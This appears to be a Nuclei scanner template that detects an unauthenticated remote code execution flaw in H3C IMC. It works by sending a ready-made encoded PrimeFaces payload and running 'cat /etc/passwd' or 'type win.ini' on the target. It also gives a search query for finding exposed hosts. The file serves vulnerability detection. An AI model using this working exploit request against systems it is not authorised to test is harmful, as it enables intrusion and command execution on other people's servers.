id: h3c-imc-rce info: name: H3c IMC - Remote Code Execution author: pikpikcu severity: critical description: H3c IMC allows remote unauthenticated attackers to cause the remote web application to execute arbitrary commands via the 'dynamiccontent.properties.xhtml' endpoint. reference: - https://mp.weixin.qq.com/s/BP9_H3lpluqIwL5OMIJlIw classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: max-request: 2 fofa-query: body="/imc/javax.faces.resource/images/login_help.png.jsf?ln=primefaces-imc-new-webui" tags: rce,h3c-imc http: - raw: - | POST /imc/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd={{command}} payloads: command: - 'cat /etc/passwd' - 'type C:\\Windows\\win.ini' stop-at-first-match: true matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - "\\[(font|extension|file)s\\]" condition: or - type: status status: - 200 # digest: 4b0a00483046022100c00dfd9c0968687fa2510be29d9144f9a5ac728873a8cc3ca29c93c015459e55022100d66267fbd6eb24e0ad42deb0599b697935d08bcfa19407243922264477eccc61:922c64590222798bb761d5b6d8e72950